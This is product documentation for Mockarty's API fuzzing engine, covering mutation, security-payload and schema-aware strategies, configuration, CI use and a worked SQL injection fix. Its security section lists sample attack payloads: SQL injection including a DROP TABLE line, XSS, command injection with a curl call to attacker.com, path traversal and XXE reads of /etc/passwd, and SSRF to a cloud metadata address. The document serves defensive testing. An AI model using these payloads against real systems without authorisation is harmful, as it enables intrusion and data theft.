Docs API Fuzzing

API Fuzzing

Mockarty includes a built-in API fuzzing engine that automatically generates thousands of malformed, unexpected, and malicious requests to find bugs and security vulnerabilities in your APIs. Unlike traditional unit tests that verify expected behavior, fuzzing discovers what happens when your API receives inputs nobody anticipated.

Table of Contents


Why Fuzz Your APIs?

Unit tests check that your code does what you expect. Fuzzing checks what your code does when it receives something you did not expect. The difference matters.

Real-world incidents that fuzzing could have prevented:

  • A major e-commerce platform suffered a data breach when an attacker passed a SQL injection payload through a product search parameter. The development team had unit tests for valid searches but never tested what happens when the search term contains ' OR 1=1--.
  • A fintech API crashed with a stack trace (exposing internal paths and library versions) when a user submitted an integer field with the value 9999999999999999999. No one had tested integer overflow on that endpoint.
  • A healthcare SaaS allowed path traversal through a file download endpoint. Sending ../../../../etc/passwd as the filename returned the server’s password file. The endpoint had validation for file extensions but not for directory traversal sequences.
  • A social media API exposed admin endpoints when an attacker added the header X-HTTP-Method-Override: DELETE to a GET request. The framework honored the override header despite the application not intending to support it.

These are not exotic attacks. They are standard entries in every penetration tester’s playbook. Fuzzing automates what a pentester does manually, running thousands of these tests in minutes.

What fuzzing catches that unit tests miss:

  • Unhandled edge cases (null bytes, empty strings, extremely long inputs)
  • Type confusion bugs (sending a string where an integer is expected)
  • Missing input validation (SQL injection, XSS, command injection)
  • Error handling failures (stack traces leaked in responses, 500 errors)
  • Authentication bypasses (header injection, method override)
  • Denial of service triggers (deeply nested JSON, huge arrays)

Fuzzing Types

Mockarty supports three complementary fuzzing strategies. You can run them individually or combine them with the all strategy.

Mutation-Based Fuzzing (mutation)

Takes your valid API requests and systematically breaks them. For each field in your request, the engine generates dozens of variations:

  • Type confusion: Sends a boolean where you expect a string, an array where you expect a number, null where you expect an object.
  • Boundary values: 0, -1, MAX_INT64, MIN_INT32, NaN, Infinity, empty strings, 10KB strings.
  • Special characters: Single quotes, double quotes, null bytes, newlines, template syntax ({{, ${, backticks).
  • HTTP method swapping: Your GET endpoint receives POST, PUT, DELETE, PATCH, OPTIONS, HEAD.
  • Header injection: Adds X-Forwarded-For: 127.0.0.1, X-HTTP-Method-Override: DELETE, X-Original-URL: /admin.
  • Prototype pollution: Injects __proto__ and constructor.prototype keys into JSON bodies.
  • Parameter injection: Adds unexpected query parameters like admin=true, debug=1, _method=DELETE.

Example: given a seed request like:

{
  "method": "POST",
  "url": "/api/users",
  "body": "{\"name\": \"Alice\", \"age\": 30}",
  "headers": {"Authorization": "Bearer token123"}
}

The mutation engine generates hundreds of variants, including:

  • Body with "age": 9223372036854775807 (MAX_INT64)
  • Body with "name": null
  • Body with "age": "not_a_number"
  • Body with extra field "__proto__": {"isAdmin": true}
  • Empty body with Content-Type: text/plain
  • GET request to the same endpoint with ?admin=true

Security Payload Fuzzing (security)

Injects known attack payloads from 13 built-in categories into every injectable point in your request: query parameters, headers, request body, and URL path segments. Even for minimal seed requests (e.g., GET /), the engine generates mutations by injecting payloads into common parameter names like id, q, search, page, redirect, url, file, path, callback, and next.

This is the default strategy. See Security Analysis for the full list of vulnerability categories.

Schema-Aware Fuzzing (schema_aware)

If you provide an OpenAPI/Swagger specification, the engine extracts all endpoints and their parameter schemas, then generates violations:

  • Required fields omitted
  • Fields exceeding maxLength or below minLength
  • Numbers outside minimum/maximum range
  • Enum fields with invalid values
  • Wrong types for typed parameters
  • Additional properties when additionalProperties: false

This strategy is especially powerful because it knows the intended contract and systematically breaks it.

Combined Strategy (all)

Runs all three strategies together. This is recommended for thorough testing sessions.


Supported Protocols

HTTP/REST

Full support for all HTTP methods. Fuzzes query parameters, headers, JSON/XML/form bodies, and URL path segments.

GraphQL

The engine introspects your GraphQL schema and generates protocol-specific mutations:

  • Deeply nested queries (depth bomb)
  • Field aliasing abuse
  • Batched query attacks
  • Type confusion on input variables
  • Directive injection
  • Introspection query abuse

Configure with:

{
  "options": {
    "graphqlEndpoint": "http://your-api:4000/graphql",
    "graphqlPath": "/graphql"
  }
}

gRPC

Discovers services via gRPC reflection and generates mutations for each RPC method:

  • Field type violations in protobuf messages
  • Missing required fields
  • Overflow values for int32/int64/float fields
  • Invalid enum values
  • Deeply nested messages

Configure with:

{
  "options": {
    "grpcAddress": "your-api:50051",
    "grpcUseTls": false,
    "grpcServices": ["mypackage.UserService"],
    "grpcMethods": ["GetUser", "CreateUser"]
  }
}

Security Analysis

Mockarty ships with 13 payload categories containing hundreds of attack patterns. Each category targets a specific class of vulnerability.

SQL Injection (sqli)

Tests whether user input is incorporated into SQL queries without proper parameterization.

What it detects: Unparameterized queries, ORM bypass, second-order injection.

Example payloads:

' OR '1'='1' --
' UNION SELECT username,password FROM users--
'; DROP TABLE users--
' AND SLEEP(5)--
' AND 1=CAST((SELECT version()) AS INT)--

How it works: The detector watches for SQL error messages in responses (e.g., “You have an error in your SQL syntax”), unexpected data leakage, and response time anomalies (indicating time-based blind injection).

Cross-Site Scripting (xss)

Tests whether user input is reflected in HTML responses without encoding.

What it detects: Reflected XSS, stored XSS indicators, DOM-based XSS vectors.

Example payloads:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
"><svg/onload=alert(1)>
javascript:alert(1)
{{constructor.constructor('return this')()}}

How it works: The detector checks if the payload appears verbatim in the response body (reflected input detection).

Command Injection (command_injection)

Tests whether user input is passed to OS shell commands.

What it detects: Direct command execution, argument injection, command chaining.

Example payloads:

;id
$(whoami)
`cat /etc/passwd`
| ls -la
&& curl http://attacker.com

Path Traversal (path_traversal)

Tests whether the application sanitizes file path components.

What it detects: Local file inclusion (LFI), directory listing, source code disclosure.

Example payloads:

../../../etc/passwd
..%2f..%2f..%2fetc%2fpasswd
....//....//....//etc/passwd
/etc/passwd%00.jpg

XML External Entity (xxe)

Tests XML parsers for external entity processing.

What it detects: File read via XXE, SSRF via XXE, denial of service (billion laughs).

Example payloads:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

Server-Side Request Forgery (ssrf)

Tests whether the application can be tricked into making requests to internal services.

What it detects: Access to internal networks, cloud metadata endpoints, localhost services.

Example payloads:

http://localhost:8080/admin
http://169.254.169.254/latest/meta-data/
http://[::1]/
http://0x7f000001/
http://2130706433/

Server-Side Template Injection (ssti)

Tests whether user input is evaluated inside server-side template engines.

What it detects: Jinja2, Twig, Freemarker, Mako, Velocity template injection.

Example payloads:

{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
${{7*7}}

Authentication Bypass (auth_bypass)

Tests for common authentication and authorization flaws.

What it detects: Missing auth checks, privilege escalation, JWT manipulation.

Example payloads: Sends requests with modified auth tokens, removed authorization headers, admin role headers, and common default credentials.

Type Confusion (type_confusion)

Tests how the API handles unexpected data types.

What it detects: Loose type checking, deserialization issues, prototype pollution.

Example payloads: Swaps strings for integers, booleans for arrays, objects for null, and vice versa for every field.

Boundary Values (boundary_values)

Tests numeric and string field limits.

What it detects: Integer overflow, buffer overflow indicators, off-by-one errors.

Example payloads: MAX_INT64, MIN_INT32, 0, -1, NaN, Infinity, empty string, 10KB string.

Unicode Attacks (unicode)

Tests for Unicode handling vulnerabilities.

What it detects: Encoding bypass, normalization issues, null byte injection, right-to-left override.

Format String Attacks (format_strings)

Tests whether user input is used as a format string.

What it detects: Format string vulnerabilities in C/C++ backends, Go fmt.Sprintf misuse.

Example payloads: %s%s%s%s, %x%x%x, %n%n%n.

Naughty Strings (naughty_strings)

The famous “Big List of Naughty Strings” – strings known to cause problems in software: emoji sequences, zero-width characters, extremely long Unicode, scripts in various languages, reserved words, and more.


Getting Started

Via the UI

  1. Open the Mockarty admin panel and navigate to Fuzzing in the sidebar.
  2. Click New Config to create a fuzzing configuration.
  3. Add seed requests using one of the import methods:
    • Manual: Enter HTTP method, URL, headers, and body directly.
    • cURL import: Paste a cURL command and it will be parsed automatically.
    • OpenAPI import: Upload a Swagger/OpenAPI spec to extract all endpoints.
    • Collection import: Import seeds from an existing API Tester collection.
    • Recorder import: Import captured requests from a Recorder session.
    • Mock import: Generate seeds from your existing Mockarty mocks.
  4. Select a strategy (security, mutation, schema_aware, or all).
  5. Choose payload categories (or leave empty for all categories).
  6. Configure options (concurrency, max requests, timeout).
  7. Click Run to start fuzzing.

The UI shows real-time progress with requests per second, finding counts by severity, and a timeline chart.

Via the API

Create a fuzzing configuration:

curl -X POST http://localhost:5770/ui/api/fuzzing/configs \
  -H "Content-Type: application/json" \
  -H "X-API-Token: YOUR_TOKEN" \
  -d '{
    "name": "My API Fuzz Test",
    "targetBaseUrl": "http://your-api:8080",
    "sourceType": "manual",
    "strategy": "all",
    "payloadCategories": ["sqli", "xss", "path_traversal", "command_injection"],
    "seedRequests": [
      {
        "id": "seed-1",
        "method": "GET",
        "url": "/api/users",
        "path": "/api/users",
        "queryParams": {"search": "alice", "page": "1"},
        "headers": {"Authorization": "Bearer your-token"}
      },
      {
        "id": "seed-2",
        "method": "POST",
        "url": "/api/users",
        "path": "/api/users",
        "headers": {
          "Authorization": "Bearer your-token",
          "Content-Type": "application/json"
        },
        "body": "{\"name\": \"Bob\", \"email\": \"bob@example.com\", \"age\": 25}"
      }
    ],
    "options": {
      "maxRequests": 5000,
      "maxDuration": "10m",
      "concurrency": 5,
      "maxRps": 50,
      "timeoutPerReq": "10s",
      "mutationDepth": 3,
      "followRedirects": false,
      "statusCodeAlerts": [500, 502, 503, 504],
      "responseTimeAlert": 5000,
      "verifyFindings": true,
      "stopOnCritical": false
    }
  }'

Start a fuzzing run:

curl -X POST http://localhost:5770/ui/api/fuzzing/run \
  -H "Content-Type: application/json" \
  -H "X-API-Token: YOUR_TOKEN" \
  -d '{
    "configId": "CONFIG_ID_FROM_PREVIOUS_STEP"
  }'

Quick fuzz (create config and run in one step):

curl -X POST http://localhost:5770/ui/api/fuzzing/quick-fuzz \
  -H "Content-Type: application/json" \
  -H "X-API-Token: YOUR_TOKEN" \
  -d '{
    "name": "Quick Security Scan",
    "targetBaseUrl": "http://your-api:8080",
    "strategy": "security",
    "seedRequests": [
      {
        "id": "seed-1",
        "method": "GET",
        "url": "/api/products",
        "path": "/api/products",
        "queryParams": {"category": "electronics"}
      }
    ]
  }'

Check results:

# List all fuzzing results
curl http://localhost:5770/ui/api/fuzzing/results \
  -H "X-API-Token: YOUR_TOKEN"

# Get specific result with full report
curl http://localhost:5770/ui/api/fuzzing/results/RESULT_ID \
  -H "X-API-Token: YOUR_TOKEN"

# List findings for a run
curl "http://localhost:5770/ui/api/fuzzing/findings?runId=RESULT_ID" \
  -H "X-API-Token: YOUR_TOKEN"

Import seeds from cURL:

curl -X POST http://localhost:5770/ui/api/fuzzing/import/curl \
  -H "Content-Type: application/json" \
  -H "X-API-Token: YOUR_TOKEN" \
  -d '{
    "curl": "curl -X POST http://your-api:8080/api/orders -H \"Content-Type: application/json\" -d \"{\\\"productId\\\": \\\"abc\\\", \\\"quantity\\\": 1}\""
  }'

Import seeds from OpenAPI spec:

curl -X POST http://localhost:5770/ui/api/fuzzing/import/openapi \
  -H "X-API-Token: YOUR_TOKEN" \
  -F "file=@openapi.yaml"

For more on getting Mockarty running, see the Quick Start guide.


Configuration

FuzzOptions Reference

Parameter Type Default Description
maxRequests integer 1000 Maximum number of requests to send. The engine generates all mutations up front and truncates to this limit.
maxDuration string "5m" Maximum wall-clock time for the run. Uses Go duration format (e.g., "10m", "1h", "30s").
concurrency integer 3 Number of parallel workers sending requests.
maxRps integer 20 Rate limit: maximum requests per second across all workers. Prevents overwhelming the target.
timeoutPerReq string "10s" Timeout for each individual HTTP request.
mutationDepth integer 3 How many layers of mutation to apply. Depth 1 = single mutations. Depth 3 = mutations of mutations of mutations. Higher depth generates more test cases but increases run time.
followRedirects boolean false Whether to follow HTTP redirects. Usually keep disabled so you can detect open redirect vulnerabilities.
authHeader string "" Authorization header value (e.g., "Bearer token123"). Applied to all requests.
customHeaders object {} Additional headers to include in every request.
includeRoutes string[] [] Only fuzz endpoints matching these patterns.
excludeRoutes string[] [] Skip endpoints matching these patterns.
statusCodeAlerts int[] [500, 502, 503, 504] HTTP status codes that trigger a finding.
responseTimeAlert integer 5000 Response time threshold in milliseconds. Responses slower than this generate a finding (possible DoS or time-based injection).
detectPatterns string[] [] Additional regex patterns to detect in response bodies.
verifyFindings boolean true After the run, replay each finding 3 times to confirm reproducibility.
stopOnCritical boolean false Stop the entire run immediately if a critical-severity finding is discovered.
llmEnabled boolean false Enable LLM-powered analysis of findings. Requires an LLM profile configured in Mockarty.
llmProfileId string "" ID of the admin-configured LLM profile to use for analysis.

Payload Categories

Select specific categories to focus your testing:

Key Description Payload Count
sqli SQL injection – MySQL, PostgreSQL, Oracle, MSSQL, SQLite ~370
xss Cross-site scripting – reflected, stored, DOM-based ~200
command_injection OS command injection – Unix and Windows ~100
path_traversal Directory traversal and local file inclusion ~150
ssrf Server-side request forgery – localhost, cloud metadata, DNS rebinding ~50
xxe XML external entity injection ~50
ssti Server-side template injection – Jinja2, Twig, Freemarker, etc. varies
auth_bypass Authentication and authorization bypass varies
type_confusion Type swaps (string/int/bool/null/array) varies
boundary_values MAX_INT, empty strings, NaN, Infinity varies
unicode Unicode attacks – BOM, null bytes, RTL override varies
format_strings Format string attacks (%s, %x, %n) varies
naughty_strings Big List of Naughty Strings – strings known to break software varies

If you omit payloadCategories, all categories are used.

Seed Request Sources

Source Value Description
Manual manual Hand-crafted seed requests in JSON
OpenAPI openapi Extracted from an OpenAPI/Swagger specification
cURL curl Parsed from a cURL command
Collection collection Imported from an API Tester collection
Recorder recorder Captured from a Recorder session
Mock mock Generated from existing Mockarty mocks

Reading Fuzzing Results

Result Summary

Each fuzzing run produces a FuzzResult with:

  • Status: running, completed, stopped, or failed
  • Total Requests: How many mutated requests were sent
  • Duration: How long the run took
  • Finding Counts by severity: critical, high, medium, low, info

Findings

Each finding represents a potential vulnerability or anomaly:

  • Severity: critical, high, medium, low, info
  • Category: The type of issue (e.g., sqli, xss, 500_error, timeout, reflected_input, stack_trace, path_disclosure)
  • Request details: Method, URL, headers, body – the exact request that triggered the issue
  • Response details: Status code, headers, body, response time
  • Mutation applied: What was changed from the original seed
  • Reproducible: Whether the finding was confirmed on replay (if verifyFindings is enabled)
  • Reproduce count: How many times out of 3 replays the finding was reproduced

Triage Workflow

Each finding has a triage status that you can update:

Status Meaning
new Not yet reviewed
confirmed Verified as a real vulnerability
false_positive Not a real issue (e.g., expected 500 error)
fixed The vulnerability has been patched
accepted Known issue, accepted risk

Update triage status via API:

curl -X PUT http://localhost:5770/ui/api/fuzzing/findings/FINDING_ID/triage \
  -H "Content-Type: application/json" \
  -H "X-API-Token: YOUR_TOKEN" \
  -d '{"status": "confirmed"}'

Replay a Finding

Re-send the exact request that caused a finding to verify it:

curl -X POST http://localhost:5770/ui/api/fuzzing/findings/FINDING_ID/replay \
  -H "X-API-Token: YOUR_TOKEN"

Export Findings

Export findings as CSV or JSON for external reporting:

curl -X POST http://localhost:5770/ui/api/fuzzing/findings/export \
  -H "Content-Type: application/json" \
  -H "X-API-Token: YOUR_TOKEN" \
  -d '{"runId": "RESULT_ID", "format": "csv"}'

Coverage Data

The result includes metrics about the fuzzing run:

  • Status code distribution: How many 200s, 400s, 500s, etc.
  • Response time statistics: Min, max, average, median, P95, P99
  • Timeline: Requests and findings over time (sampled every 2 seconds)

LLM-Powered Analysis

When llmEnabled is set to true in your fuzzing options, Mockarty sends critical and high-severity findings to an LLM for expert analysis after the run completes.

The LLM advisor:

  1. Receives the request/response pairs for each critical and high finding
  2. Analyzes whether the finding represents a genuine vulnerability
  3. Provides remediation advice specific to the detected issue
  4. Generates an executive summary of the overall security posture

To use this feature:

  1. Configure an LLM profile in Mockarty’s admin settings (supports OpenAI, Anthropic Claude, or OpenRouter).
  2. Set llmEnabled: true and optionally llmProfileId in your fuzzing options.

The LLM analysis appears in each finding’s llmAnalysis field and in the report’s llmSummary field.

The advisor is capped at 50 LLM calls per run to control costs.


Integration with CI/CD

GitHub Actions Example

name: API Fuzzing
on:
  schedule:
    - cron: '0 2 * * 1'  # Every Monday at 2 AM
  workflow_dispatch:

jobs:
  fuzz:
    runs-on: ubuntu-latest
    steps:
      - name: Start target API
        run: docker-compose up -d my-api

      - name: Wait for API readiness
        run: |
          for i in $(seq 1 30); do
            curl -sf http://localhost:8080/health && break
            sleep 2
          done

      - name: Run fuzzing
        id: fuzz
        run: |
          # Create config and run
          RESULT=$(curl -sf -X POST http://localhost:5770/ui/api/fuzzing/quick-fuzz \
            -H "Content-Type: application/json" \
            -H "X-API-Token: ${{ secrets.MOCKARTY_TOKEN }}" \
            -d '{
              "name": "CI Fuzz Run",
              "targetBaseUrl": "http://my-api:8080",
              "strategy": "security",
              "payloadCategories": ["sqli", "xss", "command_injection", "path_traversal"],
              "seedRequests": [
                {"id": "s1", "method": "GET", "url": "/api/products", "path": "/api/products"},
                {"id": "s2", "method": "POST", "url": "/api/orders", "path": "/api/orders",
                 "body": "{\"productId\": \"abc\", \"quantity\": 1}",
                 "headers": {"Content-Type": "application/json"}}
              ],
              "options": {
                "maxRequests": 2000,
                "maxDuration": "5m",
                "concurrency": 3,
                "verifyFindings": true,
                "stopOnCritical": true
              }
            }')

          RUN_ID=$(echo "$RESULT" | jq -r '.id // .runId')
          echo "run_id=$RUN_ID" >> "$GITHUB_OUTPUT"

          # Wait for completion (poll every 10 seconds)
          for i in $(seq 1 60); do
            STATUS=$(curl -sf "http://localhost:5770/ui/api/fuzzing/results/$RUN_ID" \
              -H "X-API-Token: ${{ secrets.MOCKARTY_TOKEN }}" | jq -r '.status')
            if [ "$STATUS" = "completed" ] || [ "$STATUS" = "stopped" ]; then
              break
            fi
            sleep 10
          done

          # Check for critical/high findings
          CRITICAL=$(curl -sf "http://localhost:5770/ui/api/fuzzing/results/$RUN_ID" \
            -H "X-API-Token: ${{ secrets.MOCKARTY_TOKEN }}" | jq '.criticalFindings')
          HIGH=$(curl -sf "http://localhost:5770/ui/api/fuzzing/results/$RUN_ID" \
            -H "X-API-Token: ${{ secrets.MOCKARTY_TOKEN }}" | jq '.highFindings')

          echo "critical=$CRITICAL" >> "$GITHUB_OUTPUT"
          echo "high=$HIGH" >> "$GITHUB_OUTPUT"

      - name: Fail on critical findings
        if: steps.fuzz.outputs.critical != '0'
        run: |
          echo "Critical vulnerabilities found!"
          exit 1

Scheduled Fuzzing

Create a recurring fuzzing schedule via the API:

curl -X POST http://localhost:5770/ui/api/fuzzing/schedules \
  -H "Content-Type: application/json" \
  -H "X-API-Token: YOUR_TOKEN" \
  -d '{
    "configId": "YOUR_CONFIG_ID",
    "name": "Nightly Security Scan",
    "cronExpression": "0 2 * * *",
    "enabled": true,
    "notifyOnFailure": true
  }'

The schedule uses standard cron syntax. When notifyOnFailure is enabled (and email notifications are configured), you receive an alert if the run discovers critical or high-severity findings.


Best Practices

When to Fuzz

  • Before every release: Run a quick security fuzz (maxRequests: 2000, security strategy) as a gate in your CI pipeline.
  • Weekly: Run a full comprehensive fuzz (all strategy, higher limits) on your staging environment.
  • After API changes: When you add new endpoints or modify existing ones, fuzz the changed endpoints specifically using includeRoutes.
  • After dependency updates: Library upgrades can introduce new behavior. A fuzz run after updating catches regressions.

What to Prioritize

  1. Endpoints accepting user input: Search, login, registration, file upload, any endpoint with query parameters or request body.
  2. Endpoints handling sensitive data: Payment processing, user profiles, admin panels.
  3. Endpoints exposed publicly: APIs accessible without authentication are highest priority.
  4. Endpoints with complex logic: Filtering, sorting, pagination, and aggregation endpoints often have subtle injection points.

Performance Tips

  • Start with concurrency: 3 and maxRps: 20. Increase gradually based on your target’s capacity.
  • Use maxDuration to prevent runaway sessions. 5-10 minutes is enough for most APIs.
  • Enable stopOnCritical in CI to fail fast.
  • Use excludeRoutes to skip health checks, metrics, and other non-interesting endpoints.
  • Disable verifyFindings for quick scans. Enable it for thorough runs.

Reducing False Positives

  • Use statusCodeAlerts to only flag truly unexpected status codes. If your API legitimately returns 500 for bad input, remove it from the list.
  • Set responseTimeAlert above your slowest endpoint’s normal response time.
  • Enable verifyFindings – non-reproducible findings are often false positives.
  • Enable llmEnabled for AI-powered triage that filters out likely false positives.
  • Use the triage workflow to mark false positives so you build a history of known non-issues.

Safety

  • Never fuzz production databases. Always use a staging or test environment.
  • The engine respects rate limits (maxRps). Start low.
  • If the target becomes unreachable (10 consecutive connection errors), the engine automatically aborts.
  • SQL injection time-based payloads (e.g., SLEEP(5)) can slow your test database. Use a disposable database instance.
  • Some payloads attempt stacked queries like '; DROP TABLE users--. While these rarely succeed against modern frameworks, use a database with limited privileges.

Real-World Example

Let us walk through fuzzing a REST API for a fictional e-commerce service.

The API

Our e-commerce API has these endpoints:

  • GET /api/products?search=&category=&page=
  • GET /api/products/:id
  • POST /api/orders (JSON body: productId, quantity, shippingAddress)
  • GET /api/orders/:id

Step 1: Create the Fuzzing Config

curl -X POST http://localhost:5770/ui/api/fuzzing/configs \
  -H "Content-Type: application/json" \
  -H "X-API-Token: mk_your_token" \
  -d '{
    "name": "E-Commerce API Security Scan",
    "targetBaseUrl": "http://ecommerce-staging:8080",
    "sourceType": "manual",
    "strategy": "all",
    "payloadCategories": ["sqli", "xss", "path_traversal", "command_injection", "ssrf"],
    "seedRequests": [
      {
        "id": "search-products",
        "method": "GET",
        "url": "/api/products",
        "path": "/api/products",
        "queryParams": {"search": "laptop", "category": "electronics", "page": "1"}
      },
      {
        "id": "get-product",
        "method": "GET",
        "url": "/api/products/42",
        "path": "/api/products/42"
      },
      {
        "id": "create-order",
        "method": "POST",
        "url": "/api/orders",
        "path": "/api/orders",
        "headers": {"Content-Type": "application/json"},
        "body": "{\"productId\": \"42\", \"quantity\": 1, \"shippingAddress\": \"123 Main St\"}"
      },
      {
        "id": "get-order",
        "method": "GET",
        "url": "/api/orders/100",
        "path": "/api/orders/100"
      }
    ],
    "options": {
      "maxRequests": 5000,
      "maxDuration": "10m",
      "concurrency": 5,
      "maxRps": 30,
      "verifyFindings": true,
      "authHeader": "Bearer staging-test-token"
    }
  }'

Step 2: Run It

curl -X POST http://localhost:5770/ui/api/fuzzing/run \
  -H "Content-Type: application/json" \
  -H "X-API-Token: mk_your_token" \
  -d '{"configId": "CONFIG_ID"}'

Step 3: Review Findings

After the run completes, we check results:

curl http://localhost:5770/ui/api/fuzzing/results/RUN_ID \
  -H "X-API-Token: mk_your_token"

The response shows:

{
  "id": "run-abc123",
  "status": "completed",
  "totalRequests": 4872,
  "totalFindings": 7,
  "criticalFindings": 1,
  "highFindings": 2,
  "mediumFindings": 3,
  "lowFindings": 0,
  "infoFindings": 1,
  "durationMs": 324000
}

Drilling into findings:

curl "http://localhost:5770/ui/api/fuzzing/findings?runId=run-abc123" \
  -H "X-API-Token: mk_your_token"

Step 4: The SQL Injection Finding

One critical finding stands out:

{
  "severity": "critical",
  "category": "sqli",
  "title": "Potential SQL injection detected",
  "requestMethod": "GET",
  "requestUrl": "http://ecommerce-staging:8080/api/products?search=' OR 1=1--&category=electronics&page=1",
  "responseStatus": 200,
  "responseBody": "[{\"id\":1,\"name\":\"Secret Admin Product\",...}, {\"id\":2,...}, ...]",
  "mutationApplied": "query: search=' OR 1=1--",
  "reproducible": true,
  "reproduceCount": 3
}

The search endpoint returned all products (including hidden ones) when the search parameter contained ' OR 1=1--. This means the query parameter is being interpolated directly into a SQL query.

Step 5: The Fix

The vulnerable code probably looks something like:

// VULNERABLE - DO NOT DO THIS
query := fmt.Sprintf("SELECT * FROM products WHERE name LIKE '%%%s%%'", searchParam)
rows, err := db.Query(query)

The fix uses parameterized queries:

// SAFE - parameterized query
rows, err := db.Query(
    "SELECT * FROM products WHERE name LIKE $1",
    "%"+searchParam+"%",
)

Step 6: Verify the Fix

After deploying the fix, re-run the same fuzzing config. The SQL injection finding should no longer appear.


API Reference

All fuzzing endpoints are under /ui/api/fuzzing/.

Method Path Description
GET /summary Dashboard summary of all fuzzing activity
GET /payload-categories List available payload categories with counts
GET /configs List fuzzing configurations
POST /configs Create a new fuzzing configuration
GET /configs/:id Get a specific configuration
PUT /configs/:id Update a configuration
DELETE /configs/:id Delete a configuration
POST /configs/reorder Reorder configurations
POST /import/curl Import seed requests from a cURL command
POST /import/openapi Import seed requests from an OpenAPI spec
POST /import/collection Import seeds from an API Tester collection
POST /import/recorder Import seeds from a Recorder session
POST /import/mock Import seeds from existing mocks
POST /introspect/graphql Introspect a GraphQL schema for fuzzing
POST /discover/grpc Discover gRPC services via reflection
POST /run Start a fuzzing run
POST /run/:id/stop Stop a running fuzzing session
POST /quick-fuzz Create config and run in one step
GET /results List fuzzing results
GET /results/:id Get a specific result with full report
DELETE /results/:id Delete a result
GET /findings List findings (filter by runId, severity, category)
GET /findings/:id Get a specific finding
PUT /findings/:id/triage Update finding triage status
POST /findings/:id/replay Replay the request that caused a finding
POST /findings/export Export findings as CSV or JSON
GET /schedules List fuzzing schedules
POST /schedules Create a recurring fuzzing schedule
GET /schedules/:id Get a specific schedule
PUT /schedules/:id Update a schedule
DELETE /schedules/:id Delete a schedule

See Also